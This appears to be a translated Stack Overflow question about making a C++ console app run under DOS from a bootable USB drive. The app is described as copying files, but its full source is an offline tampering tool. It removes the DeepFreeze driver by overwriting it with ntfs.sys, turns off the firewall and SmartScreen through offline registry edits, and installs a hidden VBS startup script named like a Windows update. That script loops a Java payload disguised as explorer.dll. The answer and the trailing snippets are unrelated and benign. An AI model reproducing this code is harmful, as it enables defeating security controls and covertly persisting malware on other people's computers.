- android - 多次调用 OnPrimaryClipChangedListener
- android - 无法更新 RecyclerView 中的 TextView 字段
- android.database.CursorIndexOutOfBoundsException : Index 0 requested, 光标大小为 0
- android - 使用 AppCompat 时,我们是否需要明确指定其 UI 组件(Spinner、EditText)颜色
我目前有一个 C++ 应用程序,可以将一些文件复制到用户的硬盘上。我在闪存驱动器上使用 Hiren 的 BootCD 来启动 MiniXP 并在其下运行我的应用程序,但加载时间有点慢,所以我想将我的应用程序添加到磁盘附带的 DOS 镜像中。我的问题是应用程序无法运行,因为“此应用程序无法在 DOS 模式下运行”。
如何在 DOS 或任何其他能够从 USB 驱动器快速启动的操作系统下运行此应用程序?
我的应用程序是一个控制台应用程序,它的代码是:
#include <iostream>
#include <fstream>
#include <windows.h>
#include <string.h>
#include <sys/stat.h>
#include <stdio.h>
#include <io.h>
#define MAX 256
using namespace std;
string systemdrive;
string users[MAX];int userscontor=0;
bool choosew7orxp;
void menu();
bool exists(const std::string& dirName_in)
{
DWORD ftyp = GetFileAttributesA(dirName_in.c_str());
if (ftyp == INVALID_FILE_ATTRIBUTES)
return false; //something is wrong with your path!
if (ftyp & FILE_ATTRIBUTE_DIRECTORY)
return true; // this is a directory!
return false; // this is not a directory!
}
bool fileexists (const std::string& name) {
struct stat buffer;
return (stat (name.c_str(), &buffer) == 0);
}
void checkdrive(char drive[])
{
string s(drive);
s+="Windows";
if (exists(s))
{
systemdrive = string(drive);
}
}
void list()
{
int dr_type=99;
char dr_avail[MAX];
char *temp=dr_avail;
/* 1st we fill the buffer */
GetLogicalDriveStrings(MAX,dr_avail);
while(*temp!=NULL) { // Split the buffer by null
dr_type=GetDriveType(temp);
switch(dr_type) {
case 3: // Fixed
checkdrive(temp);
break;
}
temp += lstrlen(temp) +1; // incriment the buffer
}
}
void copyfiles(string a1,string a2)
{
system((char*)(string("copy /V \""+a1+"\" \""+a2+"\"").c_str()));
}
void redeepfreeze()
{
system("cls");
if (!fileexists(systemdrive+"DeepFrz.backup"))
{
cout << "> Backup does not exist!\n";
Sleep(1000);
menu();
}
else
{
cout <<"> Found Backup.\n";
cout <<"> Restoring backup.\n";
string f = systemdrive;
f+="Windows\\System32\\drivers\\DeepFrz.sys";
if( remove(f.c_str()) !=0 )
{
cout << "> Cannot delete file! Aborting.\n";
Sleep(1000);
menu();
}
copyfiles(systemdrive+"DeepFrz.backup",systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys");
cout <<"> Backup restored under \"DeepFrz.sys\"\n";
Sleep(1000);
menu();
}
}
void disablefirewall()
{
system("cls");
cout <<"> Loading registery from windows machine...\n";
// cout << "reg load HKLM\\OLD_SYSTEM "+systemdrive+"Windows\\System32\\Config\\System";
system((char*)(string("reg load HKLM\\OLD_SYSTEM "+systemdrive+"Windows\\System32\\Config\\SYSTEM").c_str()));
cout <<"> Registery loaded, disabling Firewall :3\n";
for (int i=0;i<=9;i++)
{
char buff[33];
system((char*)(string("reg add \"HKLM\\OLD_SYSTEM\\ControlSet00"+string(itoa(i,buff,10))+"\\services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
system((char*)(string("reg add \"HKLM\\OLD_SYSTEM\\ControlSet00"+string(itoa(i,buff,10))+"\\services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
system((char*)(string("reg add \"HKLM\\OLD_SYSTEM\\ControlSet00"+string(itoa(i,buff,10))+"\\services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
}
// system((char*)(string("reg add \"HKLM\\SYSTEM\\CurrentControlSet\\services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
// system((char*)(string("reg add \"HKLM\\SYSTEM\\CurrentControlSet\\services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
// system((char*)(string("reg add \"HKLM\\SYSTEM\\CurrentControlSet\\services\\SharedAccess\\Parameters\\FirewallPolicy\\PublicProfile\" /v EnableFirewall /t reg_dword /d 0 /f").c_str()));
cout <<"> Operation completed,saving..\n";
system("reg unload HKLM\\OLD_SYSTEM");
cout <<"> Done.\n";
Sleep(1000);
menu();
}
void disablesmartscreen()
{
system("cls");
cout <<"> Loading registery from windows machine...\n";
system((char*)(string("reg load HKLM\\OLD_SOFTWARE "+systemdrive+"Windows\\System32\\Config\\Software").c_str()));
cout <<"> Registery loaded, disabling SmartScreen :3\n";
// cout <<"reg add \"HKLM\\OLD_SOFTWARE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\" /v SmartScreenEnabled /t reg_sz /d Off /f";
// system("pause");
system((char*)(string("reg add \"HKLM\\OLD_SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\" /v SmartScreenEnabled /t reg_sz /d Off /f").c_str()));
cout <<"> Operation completed,saving..\n";
system("reg unload HKLM\\OLD_SOFTWARE");
cout <<"> Done.\n";
Sleep(1000);
menu();
}
//}
void deldeepfreeze()
{
system("cls");
if (!fileexists(systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys"))
{
cout << "> Deepfreeze does not exist!\n";
Sleep(1000);
menu();
}
else
{
cout <<"> Found DeepFreeze.\n";
cout <<"> Creating backup.\n";
// copyfiles(systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys",systemdrive+"Windows\\System32\\drivers\\DeepFrz.backup");
copyfiles(systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys",systemdrive+"DeepFrz.backup");
cout <<"> Attempting to unfreeze part one...\n";
string f = systemdrive;
f+="Windows\\System32\\drivers\\DeepFrz.sys";
if( remove(f.c_str()) !=0 )
{
cout << "> Cannot delete file! Aborting.\n";
Sleep(1000);
menu();
}
cout <<"> Backup crated under \"DeepFrz.backup\"\n";
cout <<"> Searching for \"ntfs.sys\"...\n";
if (!fileexists(systemdrive+"Windows\\System32\\drivers\\ntfs.sys"))
{
cout <<" > ERROR. Cannot find ntfs.sys! Aborting.\n";
Sleep(1000);
menu();
}
else
{
cout << "> Patching ntfs.sys...\n";
copyfiles(systemdrive+"Windows\\System32\\drivers\\ntfs.sys",systemdrive+"Windows\\System32\\drivers\\DeepFrz.sys");
cout << "> Patching DONE. Computer unfrozen!\n";
Sleep(1000);
menu();
}
}
}
void list(char* dir,string users[],int &unr)
{
int con=0;
char originalDirectory[_MAX_PATH];
// Get the current directory so we can return to it
_getcwd(originalDirectory, _MAX_PATH);
_chdir(dir); // Change to the working directory
_finddata_t fileinfo;
// This will grab the first file in the directory
// "*" can be changed if you only want to look for specific files
intptr_t handle = _findfirst("*", &fileinfo);
if(handle == -1) // No files or directories found
{
cout <<"> No users found.\n";
return;
}
do
{
if(strcmp(fileinfo.name, ".") == 0 || strcmp(fileinfo.name, "..") == 0)
continue;
if(fileinfo.attrib & _A_SUBDIR) // Use bitmask to see if this is a directory
{
users[con]=fileinfo.name;
con++;
}
// else
// cout << "This is a file." << endl;
} while(_findnext(handle, &fileinfo) == 0);
_findclose(handle); // Close the stream
_chdir(originalDirectory);
unr=con;
}
void installapp(char* app)
{
system("cls");
if (!fileexists(app))
{
cout << "> "<<app<<" does not exist!\n";
Sleep(1000);
menu();
}
else
{
if (choosew7orxp==true)///it's W7 or W8
{
string temp = systemdrive+"Users";
string tmpu[MAX];
int amont;
list((char*)temp.c_str(),tmpu,amont);
cout << "> Which user are you? Enter the #"<<"\n\n";
for (int i=0;i<amont;i++)
{
cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
}
int nr;
cin >> nr;
while (nr<0||nr>amont)
{
cout << "Invalid number!\n";cin>>nr;
}
system("cls");
cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
string dest = systemdrive+"Users\\"+tmpu[nr]+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup";
cout <<"> Installing..\n";
copyfiles(app,dest+"\\"+app);
cout <<"> Done!\n";
Sleep(1000);
}
else
{ ///it's WXP
string temp = systemdrive+"Documents and Settings";
string tmpu[MAX];
int amont;
list((char*)temp.c_str(),tmpu,amont);
cout << "> Which user are you? Enter the #"<<"\n\n";
for (int i=0;i<amont;i++)
{
cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
}
int nr;
cin >> nr;
while (nr<0||nr>amont)
{
cout << "Invalid number!\n";cin>>nr;
}
system("cls");
cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
string dest = systemdrive+"Documents and Settings\\"+tmpu[nr]+"\\Start Menu\\Programs\\Startup";
cout <<"> Installing..\n";
copyfiles(app,dest+"\\"+app);
cout <<"> Done!\n";
Sleep(1000);
}
}
}
void masseject_fix()
{
system("cls");
char letter;
cout <<"> What is your default CD letter?\n";
cin >> letter;
letter=toupper(letter);
cout <<"> Selected drive: \""<<letter<<":\\\".\n";
if (choosew7orxp==true)///it's W7 or W8
{
string temp = systemdrive+"Users";
string tmpu[MAX];
int amont;
list((char*)temp.c_str(),tmpu,amont);
cout << "> Which user are you? Enter the #"<<"\n\n";
for (int i=0;i<amont;i++)
{
cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
}
int nr;
cin >> nr;
while (nr<0||nr>amont)
{
cout << "Invalid number!\n";cin>>nr;
}
system("cls");
cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
string dest = systemdrive+"Users\\"+tmpu[nr]+"\\AppData\\Roaming";
fstream fout((dest+"\\massdrive.txt").c_str(),ios::out);
fout<<" "<<letter;
fout.close();
cout <<"> Done!\n";
Sleep(1000);
}
else
{ ///it's WXP
string temp = systemdrive+"Documents and Settings";
string tmpu[MAX];
int amont;
list((char*)temp.c_str(),tmpu,amont);
cout << "> Which user are you? Enter the #"<<"\n\n";
for (int i=0;i<amont;i++)
{
cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
}
int nr;
cin >> nr;
while (nr<0||nr>amont)
{
cout << "Invalid number!\n";cin>>nr;
}
system("cls");
cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
string dest = systemdrive+"Documents and Settings\\"+tmpu[nr]+"\\Application Data";
cout <<"> Done!\n";
Sleep(1000);
}
}
void installAppdata(char* app)
{
if (!fileexists(app))
{
cout << "> "<<app<<" does not exist!\n";
Sleep(1000);
menu();
}
else
{
if (choosew7orxp==true)///it's W7 or W8
{
string temp = systemdrive+"Users";
string tmpu[MAX];
int amont;
list((char*)temp.c_str(),tmpu,amont);
cout << "> Which user are you? Enter the #"<<"\n\n";
for (int i=0;i<amont;i++)
{
cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
}
int nr;
cin >> nr;
while (nr<0||nr>amont)
{
cout << "Invalid number!\n";cin>>nr;
}
system("cls");
cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
string dest = systemdrive+"Users\\"+tmpu[nr]+"\\AppData\\Roaming";
cout <<"> Installing..\n";
copyfiles(app,dest+"\\"+app);
cout <<"> Done!\n";
Sleep(1000);
}
else
{ ///it's WXP
string temp = systemdrive+"Documents and Settings";
string tmpu[MAX];
int amont;
list((char*)temp.c_str(),tmpu,amont);
cout << "> Which user are you? Enter the #"<<"\n\n";
for (int i=0;i<amont;i++)
{
cout << "User number #"<<i<<": "<<tmpu[i]<<"\n";
}
int nr;
cin >> nr;
while (nr<0||nr>amont)
{
cout << "Invalid number!\n";cin>>nr;
}
system("cls");
cout << "> You selected user #"<<nr<<", which is \""<<tmpu[nr]<<"\".\n";
string dest = systemdrive+"Documents and Settings\\"+tmpu[nr]+"\\Application Data";
cout <<"> Installing..\n";
copyfiles(app,dest+"\\"+app);
cout <<"> Done!\n";
Sleep(1000);
}
}
}
void installKirLoga()
{
fstream temp("Windows Updates.vbs",ios::out);
temp << "CreateObject(\"Wscript.Shell\").Run \"\"\"\" & \"%appdata%/xfrps.bat\" & \"\"\"\", 0, False";
temp.close();
installapp("Windows Updates.vbs");
fstream temp2("xfrps.bat",ios::out);
temp2 << ":loop\r\ndel \"%APPDATA%\\KirLoga.jar\"\r\nCOPY \"%APPDATA%\\explorer.dll_update\" \"%APPDATA%\\explorer.dll\"\r\njava -jar \"%APPDATA%\\explorer.dll\" 1\r\ngoto loop";
temp2.close();
installAppdata("xfrps.bat");
installAppdata("explorer.dll_update");
menu();
}
void install_custom()
{
system("cls");
char ch[MAX];
cout <<"> Enter app name: ";
cin >>ch;
installapp(ch);
menu();
}
void menu()
{
int choose;
system("cls");
cout <<"> This is the main menu. Please choose an option.\n";
cout <<"> 1. Delete DeepFreeze\n";
cout <<"> 2. Reinstall DeepFreeze\n";
cout <<"> 3. Install MassEject\n";
cout <<"> 4. Configure MassEject\n";
cout <<"> 5. Install other app to Startup\n";
cout <<"> 6. Disable SmartScren\n";
cout <<"> 7. Disable Firewall\n";
cout <<"> 8. Quickie (Administrator, E:\\) <not updated>\n";
cout <<"> 9. Install KirLoga <only starts after reboot>\n";
cin.get();
cin >> choose;
if (choose==1)
{
deldeepfreeze();
}
else if (choose==2)
{
redeepfreeze();
}
else if (choose==3)
{
installapp("MassEject.jar");
menu();
}else if (choose==4)
{
masseject_fix();
}else if (choose==5)
{
install_custom();
}else if (choose==6)
{
disablesmartscreen();
}
else if (choose==7)
{
disablefirewall();
}
else if (choose==8)
{
//TODO
}
else if (choose==9)
{
installKirLoga();
}
}
void choose_os()
{
system("cls");
cout << "> Are you running on Windows 7 or 8.x? <A/B>"<<'\n';
char choice;
cin >> choice;
switch(choice)
{
case 'a': choosew7orxp=true;break;
case 'A': choosew7orxp=true;break;
case 'b': choosew7orxp=false;break;
case 'B': choosew7orxp=false;break;
default: cout << "> No, that's not how you do it..."; Sleep(1000);choose_os();break;
}
system("cls");
}
int main()
{
system("cls");
cout << "> Welcome to Kiraly's pack utility.\n";
cout << "> Scanning system drives...\n";
list();
cout << "> System drive identified: "<<systemdrive<<", is this correct? (Y/N) ";
char cdr;
cin >> cdr;
while (cdr!='Y'&&cdr!='y'&&cdr!='N'&&cdr!='n')
{
cout << "Incorrect syntax. Please re-enter. ";
cin >> cdr;
}
if (cdr=='n'||cdr=='N')
{
cout << "> Please enter the drive letter ONLY. Example: \"C\" not \"C:\\\" ";
char drlet;
cin >> drlet;
if ((int)drlet>=97)
{
drlet-=32;
}
systemdrive="";systemdrive+=drlet;systemdrive+=":\\";
cout <<"> The system drive letter has been set to: "<<systemdrive<<"\n";
}
// Sleep(1000);
system(systemdrive.substr(0,2).c_str());
choose_os();
menu();
}
最佳答案
首先,你需要一个可以生成DOS代码的编译器,例如watcom c++:http://www.openwatcom.org/index.php/Main_Page
您的程序使用 Windows api 调用(包括 windows.h),您需要将所有这些函数替换为 DOS 等效函数或自己编写替代函数。
关于c++ - 编译现有的 C++ 代码以在 DOS 中运行,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/29804274/
我有一个如下图所示的情节。对于这个情节,我想在情节(右下角或左下角)的某处添加类似的线图。我正在使用的子图的命令是 plot( 1:121, sample(1:121),type='l' ) 它绘制在
我有一个单表数据库,我继承并迁移到 SQL Server,然后通过创建、链接和填充一大堆表示主表中项目的查找类型表来规范化它。我现在想用它们的外键替换原始表中的那些项目。我是不是一直在写一堆查询或 U
我有一个 Web 应用程序,它当前正在从服务器获取 PDF 的 base64 表示。我可以使用 Mozilla 的 pdf.js 在 上显示它并使用下拉菜单切换页面。 根据我所能找到的一切和Can
在 DB2 上运行的 Moodle 2 安装中,删除用户不成功,返回从数据库读取错误: Debug info: [IBM][CLI Driver][DB2/LINUXX8664] SQL0206N "
我在grails项目的RH包中添加了一个名为Authorization的新域类。 然后,我从grails菜单自动生成了 Controller 和 View 。 但是当我尝试输入 Controller
今天,我发现了一个有趣的plunker,经过谷歌大量搜索后一无所获,希望我能在这里找到答案。我只是想要那个笨蛋的副本。我不想使用复制和粘贴技术。有什么方法可以获取已建立的 plunk 的副本吗?我如何
这个问题已经有答案了: 已关闭11 年前。 Possible Duplicate: Migrate normal sqlite3 database to core data? 是否可以将现有的 sql
我正在尝试在我的应用程序上添加启动画面。我干净地构建了程序,但我选择了错误的文件。现在我第二次编辑了 VM 选项并再次干净构建,现在我收到此错误: C:\Users\User\Documents\Ne
我已经查看了很多问题,我不相信这是重复使用单元格的结果,因为新的单元格图像是正确的,但是现有的单元格图像不正确并且曾经是正确的。我会先发布图片,以便更容易理解问题。 我有一个图像单元的 Collect
我在来自 Vaadin 的 ContainerHierarchicalWrapper 的这段代码中有一个非常奇怪的错误: for (Object object : children.keySet())
到目前为止,我正在使用 Globalize用于我的 JavaScript 应用程序的 i18n 和 l10n(使用 jQuery UI 构建)。这行得通,但它将我的代码与另一个特定的库联系在一起。现在
我正在创建一个 JHipster 应用程序,现在确定了 full text search 的必要性.我知道 JHipster 与 Elasticseach 集成,但我在创建项目时没有启用它。有没有一种
我一直在寻找堆栈中的建议,但我仍然不能 100% 确定改进它的最佳方法。我有一个存储大约 130K 条记录的 mysql INNODB“产品”表。杂项产品数据等大约有 80 个字段,然后我们一直在为每
我在一本书上看到,它说:当我们使用另一个初始化新创建的对象时 - 使用复制构造函数创建一个临时对象,然后使用赋值运算符将值复制到新对象! 后来在书中我读到:当使用另一个对象初始化新对象时,编译器创建一
我第一次安装现有的 Django 项目时遇到了启动服务器 python manage.py runserver 的问题 这是我做的 1.克隆仓库, 2.制作虚拟环境 3.pip安装要求.txt 4.生
我有一个网站,还有一个登录表单。我不想使用 PHP 来检查我的 MySQL 数据库,因此我正在寻找一种方法来检查用户凭据以查看是否已有 Linux 用户。我知道 PAM,但我还没有找到任何有关如何从网
我有一个现有的 Umbraco 项目在 IIS 服务器上运行。当我开始这个项目时,我基本上是将 Umbraco 直接安装到服务器上,并通过管理界面进行编码,直到网站启动并上线。 现在,客户想要一些更改
我是 Android 开发新手,目前正在学习一些教程。当我在 Eclipse 中设置一个新的 Android 项目,并选择 Windows -> Android SDK and AVD Manager
我有这个注册页面可以正常工作,但对于电子邮件字段,我需要确保电子邮件正确有效1:正确2 : 有效 为了正确添加电子邮件,我正在使用 Java 脚本验证来维护abc@def.com 很好用 但我的问题是
首先让我说我不熟悉 COM 引用,并且我在 Windows 7 64 位计算机上使用 VS2010。今天早上,我从 TFS 中删除了一个现有项目。然后我尝试构建项目并收到此错误: The type o
我是一名优秀的程序员,十分优秀!